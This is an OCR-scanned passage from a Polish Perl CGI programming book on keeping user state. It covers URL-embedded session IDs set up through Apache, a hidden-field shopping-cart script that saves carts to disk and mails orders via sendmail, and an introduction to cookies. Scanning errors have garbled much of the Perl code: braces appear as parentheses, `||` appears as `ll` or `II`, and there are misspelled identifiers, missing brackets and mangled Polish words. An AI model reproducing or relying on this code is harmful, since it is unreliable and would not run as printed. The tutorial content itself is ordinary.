wtedy, gdy użytkownik zażąda dokumentu HTML, serwer uruchomił aplikację CGI. Wówczas na aplikację spadłoby zadanie przezroczystego (dla użytkownika) osadzania specjalnych informacji identyfikacyjnych (na przykład w postaci łańcucha zapytania) we wszystkich hiPerlaczach w żądanym dokumencie HTML i zwracania nowo utworzonej treści do przeglądarki. Zobaczmy, jak zabrać się do realizowania takiej aplikacji. Jest to proces zaledwie dwuetapowy. Przypomnijmy, nasze zadanie polega na ustaleniu, których dokumentów określony użytkownik zażądał i jak dużo czasu spędził na ich oglądaniu. Najpierw musimy opatrzyć identyfikatorami zestaw dokumentów, których historię przeglądania przez użytkowników chcemy śledzić. Tak więc przenosimy te dokumenty do osobnego katalogu ulokowanego poniżej głównego katalogu dokumentów serwera Web. Następnie musimy skonfigurować serwer Web tak, aby za każdym razem, gdy użytkownik zażąda dokumentu z tego katalogu, uruchamiał aplikację CGI. Przedstawimy to na przykładzie serwera Web Apache, jednak szczegóły konfiguracji w pozostałych serwerach są bardzo podobne. Wystarczy, że do pliku służącego do konfiguracji dostępu na serwerze Apache, access.conf, wstawimy następujące dyrektywy: <Directory /usr/local/apache/htdocs/sklep> AddType text/html .html AddType Tracker .html AddType Tracker /cgi/query_track.cgi </Directory > Gdy użytkownik zażąda dokumentu z katalogu /usr/localfapache/htdocs/sklep, Apache uruchomi aplikaq'ę cjueryjrack.cgi, przekazując do niej URL żądanego dokumentu w postaci dodatkowej informacji o ścieżce. Przykład przedstawiamy poniżej. Gdy użytkownik z katalogu po raz pierwszy zażąda dokumentu: http://localhost/sklep/index.html serwer Web uruchomi aplikację cjueryjtrack za pomocą następującego URL-a: http://localhost/cgi/query_track.cgi/sklep/index.html Pełną ścieżkę do index.html aplikacja ustala na podstawie zmiennej środowiska PATH_TRANSLATED. Następnie otwiera plik, tworzy nowy identyfikator dla danego użytkownika, osadza go w każdym względnym URL-
Programowanie CGI w Perlu
135
u zawartym w dokumencie, a tak zmodyfikowany plik HTML zwraca do przeglądarki. Dodatkowo rejestrujemy transakcję w specjalnym pliku dziennika, którego zapisy można potem wykorzystać do przeanalizowania działań użytkownika. Zmodyfikowany URL wygląda dość ciekawie, oto przykład: http://localhost/sklep/.CC7e2BMb_H6UdK9KfPtRlg/faq.html Identyfikator jest zmodyfikowanym kondensatem wiadomości uzyskanym za pomocą algorytmu MD5 z kodowaniem Base64, wyliczonym na podstawie różnych informacji zawartych w żądaniu. Generujący go kod wygląda następująco: use Digest::MD5; my $md5 = new Digest::MD5; my $zdalny = $ENV{REMOTE_ADDR} . $ENV{REMOTE_PORT}; my $id = $md5->md5_base64( time, $$, $zdalny ); $id =~ tr|+/=|-_.|; # Przekład znaków niealfanumerycznych na URL-owe Kod ten skutecznie generuje unikatowy klucz do każdego żądania. Nie jest jednak przeznaczony do tworzenia kluczy, których nie da się złamać. Jeślibyśmy generowali identyfikatory sesji zapewniające dostęp do poufnych danych, to powinniśmy użyć bardziej wyszukanej metody. Jeśli korzystamy z serwera Apache, unikatowych identyfikatorów nie musimy generować samodzielnie, o ile Apache skompilowany został wraz z modułem mod_unique_id. Przy każdym żądaniu tworzy on unikatowy identyfikator, który w skryptach CGI jest dostępny jako zmienna $ENV {UNIQUE_ID}. mod_unique_id wchodzi w skład pakietu dystrybucyjnego Apache, lecz standardowo nie jest kompilowany. Przyjrzyjmy się, jak można skonstruować kod analizujący składniowo dokumenty HTML i wstawiający do nich identyfikatory. Przykład 11.1 przedstawia moduł Perla służący do analizy składniowej żądania URL-a i dokumentu HTML. Przykład 11.1. CGIBook::UserTracker.pm #!/usr/bin/perl -wT #/-----------------------------------------------------------------------------# Moduł UserTracker # Dziedziczy po module HTML::Parser package CGIBook::UserTracker; push @ISA, "HTML::Parser"; use strict; use URI; use HTML::Parser; 1; #/-----------------------------------------------------------------------------# Metody publiczne sub new { my( $klasa, $sciezka ) = @_; my $id; if ( $ENV{PATH_INFO} and $ENV{PATH_INFO} =~ s|^/\.( [a-z0-9_.-]*) /|/|i ) { $id = $1; } else { $id ||= unikatowy_id() ; } my $self = $klasa->SUPER::new(); $self->{id_uzytkownika} = $id; $self->{sciezka_bazowa} = defined( $sciezka ) ? $sciezka : ""; return $self; } sub sciezka_bazowa { my( $self, $sciezka ) = @_; $self->(sciezka_bazowa} = $sciezka if defined $sciezka; return $self->{sciezka bazowa}; } sub id_uzytkownika { my $self = shift; return $self->{id_użytkownika}; } #/-----------------------------------------------------------------------------# Procedury wewnętrzne (prywatne) sub unikatowy_id { # Użyj modułu mod_unique_id serwera Apache, jeśli jest dostępny return $ENV{UNIQUE_ID} if exists $ENV{UNIQUE_ID}; require Digest::MD5; my $md5 = new Digest::MD5; my $zdalny = $ENV{REMOTE_ADDR} . $ENV{REMOTE PORT}; # W zamierzeniu id. ma być unikatowy, a nie nieodgadywalny
Programowanie CGI w Perlu
# Nie powinien być stosowany do generowania kluczy do poufnych danych my $id = $md5->md5_base64( time, $$, $zdalny ); $id =~ tr|+/=|-_.|; # Przekształcenie znaków niealfanumerycznych na URLowe return $id; } sub koduj { my( $self, $url ) = @_; my $uri = new URI( $url, "http" ); my $id = $self->id_uzytkownika(); my $baza = $self->sciezka_bazowa; my $sciezka = $uri->path; $sciezka =~ s|^$baza|$baza/.$id| or die "Skonfigurowano wadliwą ścieżkę podstawową" $uri->path( $sciezka ); return $uri->as_string; } #/-----------------------------------------------------------------------------# Procedury implementacji wywołań zwrotnych modułu HTML::Parser sub start { my( $self, $znacznik, $atryb, $sekw_atryb, $orygtekst ) my $nowy_tekst = $orygtekst; my %skojarzone_pary = ( frameset => "src", a => "href", area => "href", form => "action", # Te wiersze należy "odkomentować", jeśli śledzone mają być również obrazy # img=> "src", body => "background", while ( my( $skoj_znacznik, $skoj_atryb ) = each %skojarzone_pary ) ( if ( $znacznik eq $skoj_znacznik and $atryb->($skoj_atryb) ) ( $atryb->($skoj_atryb} = $self->koduj( $atryb->($skoj_atryb) ); my @atrybuty = map ( "$_=\"$atryb->{$_}V" } @$sekw_atryb; $nowy_tekst = "<$znacznik @atrybuty>"; } } # Odświeżane znaczniki meta mają inny format, obsługiwane osobno if ( $znacznik eq "meta" and $atryb->{"http-equiv") eq "refresh" ) ( my( $zwloka, $url ) = split ";URL=", $atryb->{content}, 2; $atryb->(content} = "$zwloka;URL=" . $self->kSduj( $url ); my $atrybuty = map { "$_=\"$atryb->{ $__} \"" } @$sekw_atryb; $nowy_tekst = "<$znacznik @atrybuty>"; } print $nowy_tekst; } sub declaration { my( $self, $deklaracja ) = @_ ; print $deklaracja; } sub text { my( $self, $tekst ) = @_; print $tekst; } sub end { my ( $self, $znacznik ) = @_ ; print "</$znacznik>" ; } sub comment { my( $self, $komentarz ) = @_; print "<! — $komentarz — >"; } Przykład 11.2 przedstawia aplikację CGI, która służy do przetwarzania statycznych stron HTML. Przykład 11.2. query_track.cgi #!/usr/bin/perl -wT use strict; use CGIBook::UserTracker; local *PLIK; my $trop = new CGIBook::UserTracker;
136
Programowanie CGI w Perlu
137
$trop->sciezka_bazowa ( "/sklep" ) ; my $zadany_dok = $ENV(PATH_TRANSLATED) ; # ścieżka żądanego dokumentu unless ( -e $zadany_doc ) { print "Location: /errors/not_found.html\n\n" ; } open PLIK, $zadany_dok or die "Nie zdołano otworzyć $zadany_dok: $!"; my $dok = do { local $/ = undef; <PLIK>; }; close PLIK; # Przyjmujemy tu, że śledzimy tylko pliki HTML: print "Content-type: text/html\n\n"; $trop->parse ( $dok ) ; Po wstawieniu identyfikatorów do wszystkich URL-i zmodyfikowaną treść wraz z jej nagłówkiem kierujemy na standardowy strumień wyjściowy. Skoro już zobaczyliśmy, jak utrzymać stan pomiędzy wyświetleniami kolejnych dokumentów HTML, przejdziemy do omówienia trwałości stanu w wypadku kilku formularzy. Na przykład sklep internetowy zwykle dzieli się na wiele formularzowych stron. Potrzebna jest nam możliwość identyfikowania użytkowników przy wypełnianiu przez nich formularzy na poszczególnych stronach. Środkami rozwiązującymi tego typu problemy zajmiemy się w następnym podrozdziale.
Pola ukryte Ukryte pola formularza dają nam możliwość umieszczenia w formularzu „ukrytych" informacji. Pola te nie są wyświetlane przez przeglądarkę, lecz mimo to można obejrzeć zawartość całego formularza, włącznie z polami ukrytymi, wyświetlając źródłowy zapis HTML, na przykład za pomocą polecenia „Pokaż źródło". Z tego względu pola ukryte nie zapewniają bezpieczeństwa (ponieważ każdy może je zobaczyć), natomiast nadają się do przekazywania w sposób przezroczysty informacji sesyjnych do i z formularza. Więcej informacji na temat formularzy i pól ukrytych można znaleźć w rozdziale 4, „Formularze i CGI". Dla odświeżenia pamięci przytaczamy urywek z polem ukrytym zawierającym identyfikator sesji: <FORM ACTION="/cgi/program.cgi" METHOD="POST"> <INPUT TYPE="hidden" NAME = "id" VALUE = "e07a08c4612b0172al62386ca76d2b65"> ... </FORM> Kiedy użytkownik naciśnie przycisk zlecania wysyłki, przeglądarka zakodowuje informacje we wszystkich polach, a następnie przekazuje je do serwera bez wyróżniania w jakikolwiek sposób pól ukrytych. Skoro już wiemy, jak działają pola ukryte, zastosujmy je w bardzo prostej aplikacji, która zachowuje informacje o stanie pomiędzy wywołaniami kilku formularzy. Czy może być lepszy przykład niż koszyk z zakupami (zob. rysunek 11.1)? Aplikacja sklepowego koszyka, którą tu omówimy, jest dość prymitywna. Nie umożliwia przeszukiwania bazy danych pod kątem informacji o artykułach lub cenach. Nie przyjmuje numerów kart kredytowych ani nie uwierzytelnia płatności. Jej głównym zadaniem jest zapoznać nas z zagadnieniem utrzymania stanu. Jak działa ta aplikacja? Typowa aplikacja sklepowego koszyka pełni kilka funkcji, a ściślej: umożliwia przeglądanie katalogu artykułów, wkładanie ich do koszyka, przeglądanie jego zawartości, a w końcu rozliczenie zakupów. Pierwszym zadaniem jest utworzenie unikatowego identyfikatora sesji, już na samym początku. Dlatego użytkownik musi rozpocząć nie od statycznej strony Web, lecz od dynamicznej. Strona powitalna jest następująca: http:/llocalhost/cgi/shoppe.cgi Prawdę mówiąc, ten jeden skrypt obsługuje wszystkie strony. Tworzy identyfikator sesji dla danego użytkownika, doczepia go do każdego łącza jako łańcuch zapytania i wstawia do każdego formularza w formie pola ukrytego. Tak więc łącza, które pojawią się u dołu każdej strony, mogą wyglądać następująco: shoppe.cgi?akcja=katalog?id=7d0d4a9fl392b9dd9cl38b8eel2350a4 shoppe.cgi?akcja=koszyk?id=7d0d4a9fl392b9dd9cl38b8eel2350a4 shoppe.cgi?akcja=rozliczenie?id=7d0d4a9fl392b9dd9cl38b8eel2350a4 Strona katalogu artykułów przedstawiona jest na rysunku 11.2. Skrypt ustala, którą stronę ma wyświetlić, na podstawie wartości parametru akcja. Chociaż użytkownicy zazwyczaj przechodzą kolejno od katalogu do koszyka, a potem do rozliczenia, mogą się swobodnie poruszać między tymi trzema. W razie próby rozliczenia się, zanim jakiekolwiek pozycje zostaną wybrane, system poprosi użytkownika o cofnięcie się i wybranie artykułów (lecz gdy użytkownik cofnie się, system będzie już pamiętać informacje podane przy próbie rozliczenia!). Zobaczmy, jak wygląda kod, który przedstawiony jest w przykładzie 11.3. Przykład 11.3. shoppe.cgi #!/usr/bin/perl -wT use strict; use CGI; use CGIBook::Error;
Programowanie CGI w Perlu
138
use HTML::Template; BEGIN { $ENV{PATH) = "/bin:/usr/bin"; delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) }; sub unindent; } use vars qw( $KAT_DANYCH $SENDMAIL $HANDEL_EMAIL $MAKS_PLIKOW ), local $KAT_DANYCH = "/usr/local/apache/data/tenis"; local $SENDMAIL = "/usr/lib/sendmail -t -n"; local $HANDEL_EMAIL = 'handel@adres.email.com'; local $MAKS_PLIKÓW = 1000; my $q = new CGI; my $akcja = $q->param("akcja") || 'start'; my $id = pobierz_id( $q ); if ( $akcja eq "start" ) { start( $q, $id ); } elsif ( $akcja eq "katalog" ) { katalog( $q, $id ); ) elsif ( $akcja eq "koszyk" ) { koszyk( $q, $id ) ; } elsif ( $akcja eq "rozliczenie" ) { rozliczenie ( $q, $id ); } elsif ( $akcja eq "podziękowania" ) { podziękowania( $q, $id ); } else { start ( $q, $id ) ; } Skrypt rozpoczyna się tak, jak większość innych skryptów. Wywołuje funkcję po-bierzjd, której wkrótce się przyjrzymy; funkcja ta zwraca identyfikator sesji i wczytuje wszelkie wcześniej zapisane informacje sesyjne do bieżącego obiektu CGI.pm. Następnie skrypt rozgałęzia się na odpowiednie procedury, wywoływane w zależności od zażądanego działania. Oto procedury obsługujące te żądania: #/-------------------# Procedury obsługi stron sub start { my( $q, $id ) = @_; print nagłówek( $q, "Witamy!" ), $q->p( "Witamy! Przybyłeś do słynnego na całym świecie Sklepiku Tenisowego! ", "Tutaj możesz zamówić nagrania wideo najsłynniejszych meczów tenisowych ", "turniejów ATP i WTA. Gotów? ", "Kliknij jeden z poniższych przycisków:" ), stopka) $q, $id ); } sub katalog { my( $q, $id ) = @_; if ( $q->request_method eq "POST" ) { zapisz_stan( $q ); } print nagłówek( $q, "Katalog nagrań wideo" ), $q->start_form, $q->table( { -border => l, -cellspacing => l, -cellpadding => 4, }, $q->Tr( [ $q->th( { -bgcolor => "#CCCCCC" }, [ "Ilość" , "Wideo", "Cena" ] ), $q->td( [ $q->textfield( -name => "* Wimbledon 1980", -size => 2 ), "Wimbledon 1980: John McEnroe kontra Bjorn Borg",
Programowanie CGI w Perlu
139
'$21.95' ] ), $q->td( [ $q->textfield( -name => "* French Open 1983", -size => 2 ), "French Open 1983: Ivan Lendl kontra John McEnroe", '$19.95' ] ), $q->td( { -colspan => 3, -align => "right", -bgcolor => "#CCCCCC" }, $q->submit( "Aktualizacja" ) ) ] ), ), $q->hidden( -name => "id", -default => $id, -override => 1 ), $q->hidden( -name => "akcja", -default => "katalog" -override => 1 ) , $q->end_form, stopka( $q, $id ); } sub koszyk { my( $q, $id ) = @_; my @pozycje = pobierz_pozycje( $q ); my @wiersze_pozycji = @pozycje ? map $q->td( $_ ), $pożycje : $q->td( { -colspan => 2 }, "Koszyk jest pusty" ) print nagłówek) $q, "Koszyk sklepowy" ), $q->table( { -border => 1, -cellspacing => 1, -cellpadding => 4, }, $q->Tr( [ $q->th( { -bgcolor=> "łCCCCCC" }, [ "Tytuł nagrania wideo", "Ilość" ] ), @wiersze_pozycj i ]) ), stopka( $q, $id ); } sub rozliczenie { my( $q, $id ) = @_; print nagłówek( $q, "Rozliczenie" ), $q->start_form, $q->table( { -border => 1, -cellspacing => 1, -cellpadding => 4 }. $q->Tr( [ map( $q->td( [ $_, $q->textfield( Ic $_ ) ] ) qw( Nazwisko Email Adres Kod Miasto Wojew) ), ), $q->td( ( -colspan => 2, -align => "right", }, $q->submit( "Rozliczenie" ) ) ] ), ), $q->hidden(
Programowanie CGI w Perlu
140
-name => "id", -default => $id, -override => 1 ), $q->hidden( -name => "akcja", -default => "podziękowania", -override => 1 ), $q->end_form, stopka( $q, $id ) ; } sub podziękowania { my( $q, $id ) = @_; my @brakujace; my %nabywca; my @pozycje = pobierz_pozycje ( $q ) ; unless ( @pozycje ) { zapisz_stan( $q ) ; error( Sq, "Przed rozliczeniem się proszę wybrać artykuły." ); } foreach ( qw ( nazwisko email adres kod miasto wojew) ) { $nabywca($_} = $q->param( $__ ) II push @brakujace, $_; } if ( @brakujace ) { my $brakujace = join ", ", @brakujace; error( $q, "Należy wypełnić następujące pola: $brakujace" ); } wyslij_email_handlu( \%nabyca, \@pozycje ); unlink nazwapliku_koszyka( $id ) or die "Nie można usunąć pliku koszyka użytkownika: $! "; print nagłówek) $q, "Dziękujemy!" ), $q->p( "Dziękujemy, $nabywca{nazwisko}, za zakupy w naszym sklepie. ", "Wkrótce się skontaktujemy!" ), $q->end_html; } Także i tutaj wszystko powinno być znajome. W tabelach wielokrotnie korzystamy z funkcji CGI.pm, opatrując znacznikami HTML poszczególne elementy, które podajemy poprzez referencje tablic. W formularzu umieszczamy również pola ukryte „id", zawierające identyfikatory sesji. Przyjrzyjmy się teraz funkcjom wyręczającym nas w utrzymaniu stanu użytkownika: # Procedury stanu sub pobierz_id { my $q = shift; my $id; my $niezabezp_id = $q->param( "id" ) ll ' '; $niezabezp_id =- s/ [^\dA-Fa-f ] //g; if ( $niezabezp__id =~ l^ (.+)$/) { $id = $1; wczytaj_stan( $q, $id ); } else { $id = unikatowy_id(); $q->param( -name => "id", -value => $id ); } return $id; } # Wczytuje domyślne parametry bieżącego obiektu CGI z zapisanego stanu sub wczytaj_stan { my( $q, $id ) = @_; my $zapisany = pobierz_stan( $id ) or return; foreach ( $zapisany->param ) { $q->param( $_ => $zapisany->param($_) ) unless defined $q->param($_); } } # Odczytuje z dysku zapisany obiekt CGI i zwraca jego parametry jako ł referencję tablicy asocjacyjnej sub pobierz_stan { my $id = shift; my $koszyk = nazwapliku_koszyka( $id ); local *PLIK; -e $koszyk or return; open PLIK, $koszyk or die "Nie można otworzyć koszyka $koszyk: $!'
Programowanie CGI w Perlu
141
my $q_zapisany = new CGI( \*PLIK ) or error( $q, "Nie można odtworzyć zapisanego stanu." ); close PLIK; return $q_zapisany; } # Zapisuje na dysku bieżący obiekt CGI sub zapisz_stan ( my $q = shift; my $koszyk = nazwapliku_koszyka( $id ); local( *PLIK, *KAT ); # Zapobieżenie atakom masowym DoS przez ograniczenie liczby plików danych my $l_plikow = 0; opendir KAT, $KAT_DANYCH; $l_plikow++ while readdir KAT; closedir KAT; # Porównanie licznika plików z maksymalną dozwoloną liczbą if ( $l_plikow > $MAKS_PLIKOW ) { error( $q, "Nie możemy zapisać żądania, ponieważ katalog " . "jest pełny. Proszę spróbować później." ); } # Zapisanie na dysk bieżącego obiektu CGI open PLIK, "> $koszyk" or return die "Nie można zapisać do koszyka $koszyk: S!"; $q->save( \*PLIK ) ; close PLIK; } # Zwraca listę tytułów oraz ich liczność sub pobierz_pozycje ( my $q = shift; my @pozycje; # Tworzy uporządkowaną listę tytułów nagrań wideo i ich liczności foreach ( $q->param ) { my ( $tytul, $ilosc ) = ( $_, $q->param( $_ ) ) ; # Pominięcie "* " na początku tytułów nagrań; pominięcie pozostałych kluczy $tytul =~ s/^\*\s+// or next; $ilosc or next; push @pozycje, [$tytul, $ilosc ] ; } return @pozycje; } # Oddzielona od reszty kodu na wypadek wprowadzania zmian w przyszłości sub nazwapliku_koszyka { my $id = shift; return "$KAT_DANYCH/$id"; } sub unikatowy_id { # Użycie modułu mod_unique_id serwera Apache, jeśli jest dostępny return $ENV(UNIQUE_ID} if exists $ENV(UNIQUE_ID}; require Digest::MD5; my $md5 = new Digest::MD5; my $zdalny = $ENV(REMOTE_ADDR) . $ENV{REMOTE_PORT}; # W zamierzeniu id. ma być unikatowy, a nie nieodgadywalny # Nie powinien być stosowany do generowania kluczy do poufnych danych my $id = $md5->md5_base64( time, $$, $zdalny ) ; $id =~ tr|+/=|-_.|; # Przekształcenie znaków niealfanumerycznych na URL-owe return $id; } Pierwsza funkcja, pobierz_id, sprawdza, czy skrypt otrzymał parametr o nazwie „id"; może on być podany w łańcuchu zapytania lub jako pole ukryte w formularzu wysłanym przy użyciu metody POST. Ponieważ później posłuży nam za nazwę pliku, przeprowadzamy kontrolę poprawności, aby upewnić się, że identyfikator ma bezpieczną postać. Następnie wywołujemy wczytaj_stan, aby pobrać wcześniej zapisane informacje. Jeśli skrypt nie otrzyma identyfikatora, funkcja wygeneruje nowy. Funkcja wczytaj_stan wywołuje funkcję pobierz_stan, która sprawdza, czy istnieje plik o pasującym identyfikatorze użytkownika, a jeśli istnieje, to tworzy oparty na nim obiekt CGI.pm. Funkcja wczytajjstan wykonuje następnie pętlę przez parametry w zapisanym CGI.pm, dodając je do bieżącego obiektu CGI.pm. Pomija wszelkie parametry zdefiniowane w bieżącym obiekcie CGI.pm. Jak pamiętamy, została uruchomiona funkcją pobierz_id wywołaną na początku skryptu, więc wszystko to się odbywa jeszcze przed jakimkolwiek przetworzeniem formularza; jeśli podmienimy bieżące parametry, utracimy uzyskane informacje. Poprzez wczytanie zapisanych parametrów do bieżącego obiektu CGI.pm staje się możliwe wypełnienie formularza tymi
Programowanie CGI w Perlu
142
wartościami jako domyślnymi. Dzięki temu na stronach katalogu artykułów i rozliczenia zapamiętane zostają wcześniej wprowadzone informacje, dopóki zamówienie nie zostanie wysłane, a koszyk skasowany. Funkcja zapisz_stan jest dopełnieniem funkcji pobierzjstan. Przyjmuje obiekt CGI.pm i zapisuje go na dysku. Zlicza ponadto koszyki znajdujące się obecnie w dyskowym katalogu danych. Problem z tym skryptem polega na tym, że ktoś może kilkakrotnie odwiedzić serwis, posługując się różnymi identyfikatorami, a tym samym tworząc kilka plików koszyków. Nie chcemy, aby użytkownicy niepotrzebnie zajmowali miejsce na dysku, więc ograniczamy liczbę koszyków. Ponadto, gdybyśmy byli nadzwyczaj ostrożni, moglibyśmy na początku skryptu zmiennej $CGI: : POST_MAX przypisać jakąś niską wartość (zob. „Uniemożliwianie ataków dokonywanych poprzez usługi" w rozdziale 5, „CGI. pm"). Funkcja pobierz_pozycje używana jest przez funkcję koszyk (wyżej) i funkcję podziękowania (niżej). Funkcja ta, przechodząc w pętli przez parametry obiektu CGI.pm, odnajduje pozycje, które zaczynają się gwiazdką, i zestawia ich listę z uwzględnieniem liczby sztuk. Funkcje pobierz_stan, zapisz_stan i podziękowania operują na pliku koszyka. Funkcja nazwaplikujkoszyka hermetyzuje fragment programu służący do generowania nazwy pliku. Ostatnia funkcja, unikatowy Jid, znana jest z wcześniejszego przykładu 11.1. W skrypcie CGI użytych zostało kilka dodatkowych funkcji użytkowych. Oto one: # Pozostałe procedury pomocnicze sub nagłówek { my( $q, $tytul ) = @_; return $q->header( "text/html" ) . $q->start_html( -title => "Sklepik tenisowy: $tytul", -bgcolor => "white" ) . $q->h2( $tytul ) . $q->hr; } sub stopka { my( $q, $id ) = @_; my $url = $q->script_name; my $link_katalog = $q->a( { -href => "$url?akcja=katalog&id=$id" }, "Wyświetl katalog" ) ; my $link_koszyk = $q->a( { -href => "$url?akcja=koszyk&id=$id" ), "Pokaż bieżący koszyk" ); my $link_rozliczenie = $q->a( { -href => "$url?akcja=rozliczeniesid=$id" }, "Rozliczenie" ); return $q->hr . $q->p( "[ $link_katalog l $link_koszyk l $link_rozliczenie ]" ) . $q->end_html; } sub wyslij_email_handlu { my( $nabywca, $pozycje ) = @_; my $zdalny = $ENV{REMOTE_HOST} || $ENV(REMOTE ADDR); local *MAIL; my @wiersze_pozycji = map sprintf( "%-50s %4d", @$_ ), @$pozycje; my $tabela_pozycji = join "\n", @wiersze_pozycji; open POCZTA, "l $SENDMAIL" or die "Nie można utworzyć potoku do sendmail: $!"; print POCZTA unindent <<" KONIEC_WIADOMOSCI"; To: $HANDEL_EMAIL Reply-to: $nabywca->{email} Subject: Nowe zamówienie Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Mailer: WWW to Maił Gateway X-Remote-Host: $zdalny Oto nowe zamówienie dokonane w serwisie Web. Imię i nazwisko: $nabywca->{nazwisko} Poczta elektroniczna: $nabywca->{email} Adres: $nabywca->{adres} Kod: $nabywca->{kod} Miasto: $nabywca->{miasto} Województwo: $nabywca->{wojew} Tytuł Ilość -------------$tabela_pozycji KONIEC_WIADOMOSCI close POCZTA or die "Nie można wysłać wiadomości za pomocą sendmail: $!" } sub unindent { local $_ = shift; my( $indent ) = sort
Programowanie CGI w Perlu
143
map /^(\s*)\S/, split /\n/; s/^$indent//gm; return $_; } Funkcje naglowek i stopka zwracają kod HTML, zapewniając zachowanie na stronach spójnych nagłówków i stopek. W tym przykładzie funkcje te są dość proste, lecz gdybyśmy chcieli polepszyć wygląd serwisu, moglibyśmy je zmodyfikować. Funkcja wyślij_email_handlu wysyła do nabywcy informaqe o złożonym zamówieniu. Posługujemy się funkcją unindent z rozdziału 5, „CCI. pm", więc w kodzie wiadomości elektronicznej możemy stosować wcięcia, nadając jej przy wysyłaniu właściwy format. Jak widzieliśmy w dwóch poprzednich podrozdziałach, przekazywanie identyfikatora sesji z dokumentu do dokumentu zmusza do dość żmudnej pracy. Informację trzeba osadzać w już istniejącym pliku HTML albo na bieżąco konstruować plik z identyfikatorem. W następnym podrozdziale przyjrzymy się ciasteczkom, dzięki którym poprzez przeglądarkę możemy umieścić trwałą informację po stronie klienta. Nie musimy wówczas przekazywać informacji z dokumentu do dokumentu.
Ciasteczka - elementy po stronie klienta Wspomnieliśmy już, że obydwa wcześniej omówione podejścia sprawiają problemy. Najważniejszy wiąże się z tym, że gdy użytkownik przechodzi do innego serwisu, a potem powraca, nie zachowuje się jego informacja o stanie. Aby temu zaradzić, w firmie Netscape wynaleziono ciasteczko (ang. cookie, pierwotnie nazywane „magie cookie", czyli „magiczne ciasteczko"). Dzięki ciasteczku serwer Web może zwracać się do przeglądarki o pewne niewielkie ilości informacji pochodzącej z maszyny klienta. Pierwotna propozycja Netscape'a została zaadaptowana w większości przeglądarek Web i stała się standardem obsługi ciasteczek. Specyfikacja RFC 2109, HTTP State Management Mechanism, której współautorem był przedstawiciel Netscape'a, zaproponowała nowy protokół obsługi ciasteczek. Jednak nie wdrożono go w przeglądarkach, więc oryginalny protokół firmy Netscape pozostaje obowiązującym standardem. Kiedy użytkownik zgłasza żądanie dokumentu, serwer Web może dostarczyć przeglądarce wraz z dokumentem jedno lub kilka ciasteczek. Przeglądarka dodaje ciasteczko do zbioru ciasteczek, które potem może przekazać z powrotem do serwera przy kolejnych żądaniach. Oznacza to, że po stronie klienta możemy umieścić prostą informację, na przykład identyfikator sesji, i posługiwać się nią przy odwoływaniu się do bardziej złożonych danych przechowywanych po stronie serwera. Ciasteczka doskonale się nadają do indywidualizacji dokumentów Web. Na przykład użytkownikowi odwiedzającemu serwer po raz pierwszy (brak ciasteczka wskazuje właśnie na takiego użytkownika) możemy przedstawić formularz z pytaniami o preferencje. Preferencje te notujemy w postaci ciasteczka, tak że użytkownik przy każdych kolejnych odwiedzinach naszego serwisu zobaczy dokumenty zgodne z jego osobistymi preferencjami. Ciasteczka mają jednak ograniczenia. Po pierwsze klienty nie zawsze akceptują ciasteczka. Niektóre przeglądarki ich nie obsługują (chociaż takich przeglądarek jest coraz mniej), a wielu użytkowników, chroniąc swoją prywatność, wyłącza obsług? ciasteczek. Testowaniu obecności ciasteczek przyjrzymy się w następnym podrozdziale. Co więcej, ograniczenia dotyczą też rozmiaru i liczby ciasteczek. Według oryginalnej specyfikacji Netscape'a ciasteczko nie może przekraczać 4 KB, na jedną domenę może przypadać tylko 20 ciasteczek, a po stronie klienta może się łącznie znajdować co najwyżej 300. Niektóre przeglądarki mogą dopuszczać więcej, lecz na takim założeniu nie należy się opierać. Ustanawianie ciasteczek Jak działają ciasteczka? Kiedy aplikacja CGI rozpoznaje nowego użytkownika, do odpowiedzi dodaje dodatkowy nagłówek, zawierający identyfikator przeznaczony dla danego użytkownika i ewentualnie inne informacje uzyskane od klienta. Nagłówek ten instruuje przeglądarkę obsługującą ciasteczka, aby dodała te informacje do klienckiego pliku z ciasteczkami. Od tej chwili we wszystkich żądaniach kierowanych z przeglądarki pod dany URL będzie zawarty dodatkowy nagłówek z tymi informacjami. Aplikacja CGI, korzystając z tych informacji, zwróci dokument dostosowany do konkretnego klienta. Ponieważ ciasteczka przechowywane są na dysku twardym użytkownika danego klienta, informacje pozostaną nienaruszone także wtedy, gdy przeglądarka zostanie zamknięta i ponownie otwarta. W celu ustanowienia ciasteczka wysyła się do przeglądarki nagłówek HTTP Set-Co-okie z kilkoma parametrami. Tak ustanowione ciasteczko przeglądarka zwraca potem w nagłówku Cookie. Nagłówek Set-Cookie ma następujący format: Set-Cookie: id_koszyka=12345; domain=.oreilly.com; path=/cgi; expires=Wed, 14-Feb-2001 05:53:40 GMT; secure W powyższym przykładzie ciasteczko ma nazwę id_koszyka i wartość 12345, pozostałe parametry podawane są jako pary nazwa-wartość, z wyjątkiem secure, któremu nigdy nie towarzyszy wartość - albo jest, albo go nie ma. Tabela 11.2 zawiera listę parametrów, które można podać w ciasteczku. Tabela 11.2. Parametry ciasteczka według Netscape'a Parametr nagłówka Parametr funkcji Opis HTTP nagłówka cookie() modułu CGI.pm Name -name Nazwa nadawana ciasteczku; możliwe jest ustanowienie wielu
Programowanie CGI w Perlu
144
Value Domain URL-i w
-value -domain
ciasteczek o różnych nazwach i atrybutach. Wartość przypisana do ciasteczka. Przeglądarka będzie zwracać ciasteczko tylko w wypadku
Expires Path URL-i
-expires -path
ramach podanej domeny. Informuje przeglądarkę o terminie wygaśnięcia ciasteczka. Przeglądarka będzie zwracać ciasteczko tylko w wypadku
Secure URL-i
-secure
poniżej podanej ścieżki. Przeglądarka będzie zwracać ciasteczko tylko w wypadku
bezpiecznych w ramach protokołu https. Ciasteczka obsługiwane są przez CGI.pm, więc powyższy nagłówek można wygenerować za pomocą następujących poleceń: my $ciasteczko = $q->cookie( -name => "id_koszyka", -value => 12345, -domain => ".oreilly.com", -expires => "+1y", -path => "/cgi", -secure => 1 ); print "Set-Cookie: $ciasteczko\n"; Nie ma jednak potrzeby, by nagłówek Set-Cookie drukować osobno, ponieważ CGI.pm może go sformatować razem z pozostałymi nagłówkami HTTP: print $q->header ( -type => "text/html", -cookie •=> $ciasteczko ) ; Przeglądarka, która otrzyma to ciasteczko i je przyjmie, będzie je odsyłać przy wszystkich późniejszych połączeniach z URL-ami, w których występuje domena kończąca się na .oreilly.com oraz ścieżka zaczynającą się od /cgi. Na przykład, jeśli przeglądarka zgłosi żądanie pod URL https://www.oreUly.com/cgi/sklep/rozlkzenie.cgi, poda w nim następujący nagłówek: Cookie: id_koszyka=12345 Sama para nazwa-wartość jest dostępna poprzez zmienną środowiska HTTP_COOKIE lub za pomocą metody CGI.pm raw_cookie, lecz rozbiór na części o 